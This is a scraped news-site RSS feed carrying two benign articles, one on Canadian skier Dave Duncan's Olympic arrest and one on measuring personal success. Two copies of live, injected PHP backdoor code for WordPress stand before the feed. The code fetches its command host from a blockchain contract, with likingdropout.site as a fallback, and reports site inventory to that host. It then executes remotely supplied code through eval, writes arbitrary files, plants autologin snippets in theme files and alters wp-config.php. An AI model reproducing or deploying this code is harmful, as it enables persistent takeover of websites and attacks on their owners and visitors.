// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); define – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 28 Oct 2018 11:03:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png define – Brief News https://briefnews.eu 32 32 'This incident will not define me': Canadian Olympian Dave Duncan on Winter Games arrest https://briefnews.eu/this-incident-will-not-define-me-canadian-olympian-dave-duncan-on-winter-games-arrest/ https://briefnews.eu/this-incident-will-not-define-me-canadian-olympian-dave-duncan-on-winter-games-arrest/#respond Sun, 28 Oct 2018 11:03:37 +0000 http://briefnews.eu/this-incident-will-not-define-me-canadian-olympian-dave-duncan-on-winter-games-arrest/ Canadian ski cross athlete Dave Duncan says he wants to set the record straight about what happened the night he, his wife and Willy Raine were arrested over a car theft during the 2018 Winter Olympics in Pyeongchang, South Korea.

Duncan, in an exclusive interview with CBC Sports, is breaking his silence about the incident that captured international headlines as the Games in Pyeongchang were winding down. The 36-year-old paints a very different picture about the circumstances surrounding what been characterized as a drunken joyride.

"This incident obviously happened in an environment that allowed it to be magnified," Duncan said. "Headlines are sensationalized. We were all just trying to get home that evening. I had no reason to believe we were doing anything wrong or inappropriate."

On Feb. 24 — the second-last day of the Olympics — Duncan and his wife Maja were fined one million South Korean won ($ 1,176) for their roles in the theft of a red Hummer.

Raine, the ski cross high performance director within Alpine Canada, was also fined five million won ($ 5,880) for his involvement, which included driving the stolen vehicle with a blood-alcohol level of at least 0.16, well above South Korea's legal limit of 0.05. For context, Raine's blood-alcohol level at the time of the incident was twice the Canadian limit of 0.08. 

The trio spent about 24 hours in jail and did not participate in the closing ceremony. It was considered by many as a dark cloud hanging over Canada's historic performance at the Winter Olympics. 

But Duncan, who is announcing his retirement, explains they had no idea they were stealing the vehicle in the first place. 

Duncan shares his side of what happened at the Olympics

Duncan speaks out to give his side of the story on his arrest while competing in the 2018 Winter Olympic Games in Pyeongchang, South Korea. 2:09

He said a group of Canadian ski cross athletes were celebrating their Olympic achievements in a private room at a local bar when a driver with credentials from International Olympic Committee befriended them.

"He showed us his credentials and said he was a fan of Canada and what we've done and that if we were looking for a ride home, to get in touch with him and then he'd take care of us," Duncan said. 

They tracked the man down around midnight and took him up on his offer, he said.

"He escorted us out to the vehicle in question. We loaded in and then he led us to believe that we could take the vehicle and leave it at the Athletes' Village for collection the next day," Duncan said.

"There was no reason to believe that we couldn't trust this person."

Duncan said he, his wife, Raine and an assistant coach got in the Hummer. Duncan said they dropped the assistant coach off at another Olympic House party before making their way to the Athletes' Village. Police stopped them as they approached.

"It wasn't until we were pulled over that we found out that that vehicle was reported stolen," Duncan said. 

"I was kind of in disbelief that we were in this situation to begin with. I thought at some point everyone might realize that there was a big misunderstanding and that would kind of be the end of it."

Reconciling what happened

The Duncans issued a written apology after the incident that said they were deeply sorry and "engaged in behaviour that demonstrated poor judgment and was not up to the standards expected of us as members of the Canadian Olympic team or as Canadians."

Duncan stands by that apology and said it's been a long process reconciling what happened that night. 

"I guess what I've struggled with since this all happened is knowing that if I'm in that same situation again I'm probably making the same decision," Duncan said. "There was no reason to question what was going on or taking that vehicle that evening."

Duncan, pictured at an earlier event, apologized for his actions during the final weekend of the Winter Games. (Alessandro Trovati/Associated Press)

Duncan said he has not been in contact with the IOC regarding the credentialed person. That the IOC has not been in contact with him either, he said.

Duncan said he doesn't know the man's identity.

As for the alcohol consumed that night, Duncan admits to having a few beverages but said he had no idea Raine was intoxicated. 

"We had no indication that he had had too many drinks that evening," Duncan said about Raine, whose mother is Nancy Greene, a Canadian skiing legend and retired B.C. senator. 

"I want to believe that had I not been drinking, there might've been something I picked up on that would have led to to us avoiding the situation."

Ongoing legal issues in South Korea

Initial reports said the Hummer, which belongs to Yong Gil Ahn, was stolen while it was idling outside to charge the battery after it died.

Ahn said he went into a building for a coffee while he waited and called the police after he realized it was gone. It took officers about an hour to call him back saying they found it.

At the time, Ahn said the Canadians were responsible for damaging his Hummer and was wondering who was going to pay for it.

Duncan said there was no damage done to the vehicle. He and his wife are trying to have the car theft fine removed. He said they have another upcoming court date in South Korea. 

"We have legal counsel in Korea helping us with all of this," Duncan said. "We don't feel we're guilty of the charge so we're going ahead and doing our best to fight it."

'This incident will not define me or my career'

Duncan is retiring from the sport he loves after three Olympic Games. That's why he's talking — he doesn't want this one incident he said was taken out of context to be how he's remembered. 

The London, Ont., native finished in eighth in ski cross in Pyeongchang, improving on his 24th-place finish at the Sochi Games in 2014.

"This incident will not define me or my career," Duncan said. "I've prided myself on doing things a certain way my entire life and avoiding the crazy lifestyle. I think my teammates would describe me as quite bland and even boring from that side of things."

Duncan said it's been a long process trying to get over the maelstrom that followed the incident. He said he's received a lot of nasty messages and emails since it happened, and that he's been working through it all with the help of a psychologist. 

It's been a reflective past eight months for Duncan as he ends his career. 

"I want to view this as out of character but when it happens you know you start to question yourself. Am I the person that I think I am? And ultimately I have to rely on my lifetime of decision making and experiences over this.

"I would call this one-off an outlier."

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]]> https://briefnews.eu/this-incident-will-not-define-me-canadian-olympian-dave-duncan-on-winter-games-arrest/feed/ 0 Is There a True Measure of Success? How to Define Your Own https://briefnews.eu/is-there-a-true-measure-of-success-how-to-define-your-own/ https://briefnews.eu/is-there-a-true-measure-of-success-how-to-define-your-own/#respond Mon, 15 Oct 2018 20:00:17 +0000 http://briefnews.eu/is-there-a-true-measure-of-success-how-to-define-your-own/ Success is an enchanting word. It’s the magical stardust we all want to be touched by. It’s a goal on its own for many too, a motivator, a reason to wake up every day with the drive to take on the world and “have it all.”

Luckily, there is barely a shortage of advice on how you can thrive and prosper. In fact, a simple question to Google on “how to be successful” yields the impressive 815 million results.

Why is success so popular of a notion? Because it feels good to be at the top, to see your hard work pay off, to be smiled upon by the good-fate fairy. It’s a high like no other.

But every so often, success feels like a chimera more than a real thing— a lot like happiness, in fact. We talk, read and write books about it, listen to wise men and women coach us on “how to get there” or of the “habits of the ultra successful.”

And yet—it’s a tantalizing feeling—you are never completely satisfied with yourself, because there is someone who is always more “successful”—richer, more popular, better looking, has more friends.

So, how can you ever know with certainty that you have finally made it? Is there a measure of success?

Does the magnitude of your success depend on the amount of money you have in the bank, the number of friends on social media, the amount of times you have been recognized for something, your GPA score, the university were accepted into, or perhaps—how many lives you’ve changed?

The answer is that it all depends on how you define success for yourself and how you choose to measure it.

What is success really?

Before we launch into exploring the above questions, let’s briefly review what the greates can tell us about the meaning of success.

According to the Merriam-Webster dictionary, the most common definition of success is:

“Favorable or desired outcome, the attainment of wealth, favor or eminence.”

But is there more to it than fame and money?

“In my opinion, true success should be measured by how happy you are.” —  Richard Branson, founder of Virgin Group

“Success isn’t how much money you have. Success is not what your position is. Success is how well you do what you do when nobody else is looking.” — John Paul DeJoria, billionaire entrepreneur

“The definition of success is waking up in the morning with a smile on your face, knowing it’s going to be a great day.” — Mark Cuban, billionaire investor

“I measure success by how many people love me.” — Warren Buffet, billionaire investor.

“It is also nice to feel like you made a difference — inventing something or raising kids or helping people in need.” — Bill Gates, Microsoft cofounder

What isn’t success

Based on the above ruminations of these truly successful people (according to society’s opinion too), success starts to shape more as an internal feeling, a sense of purpose and of fulfilment rather than the pursuit of accolades from others or a large bank account.

Although all these individuals are undoubtedly wealthy, notice that no one mentions “having millions in the bank” as a definition of success. Nor things along the lines of more followers on social media, making others envious or having an expensive lifestyle.

This is not what success is or how it should be measured.

How success is measured

There are several “common” (not necessarily genuine) measures of success, by society definitions. Although we may not agree with all, accept them or even live by them, they are still worth noting:

Wealth

Money and material possessions are sadly, still a rather universal (although often very deceptive) equivalent of success. If you are rich, then you must be successful, right?

There are many flaws in this assumption which we will review a bit later, but for now, let’s say that wealth may indeed, accompany success—but it should be viewed as more of a consequence of your achievements rather than a goal in itself.

Popularity

With wealth often comes popularity. The two notions are frequently viewed as close cousins, especially when we think about famous actors, writers, or entrepreneurs.

By extension, we also have the online influencers—that is, success may sometimes be expressed by the number of the people who follow you on social media and whom you can reach and impact with your content and posts.

External vs Internal

Wealth and popularity are some of the external measures of success. They are somewhat more tangible and easier to compare.

There is, however, a whole other universe of success definitions which are invisible, can’t be easily measured and are highly personalized.

Internal evaluators are better gauges of success, though, as they are set by us and thus—follow our own life trajectory. More on this later.

Comparisons

A very common way to know if you have “made it” is to look at your neighbour’s yard and check how you fare against them.

Comparisons are not always bad though, sometimes they can be motivating, depending on who we fare against and to what ends.

The flawed external measures of success

Most of the above-mentioned measures of success—the external ones— although rather omnipresent, don’t quite work to give you a peace of mind that you are really at the top of your game.

Just think about it— how many cases have you witnessed or read about of people who appear to have it all on the outside and yet—they are deeply unhappy, insecure and depressed? And even more— why when we achieve success, say, something that we’ve strived for, the jittery feeling doesn’t last?

One reason is that success is susceptible to the so-called hedonic treadmill.((Positive Psychology Program: The Hedonic Treadmill – Are We Forever Chasing Rainbows?)) It’s our tendency to adjust to events in our lives rather quickly.

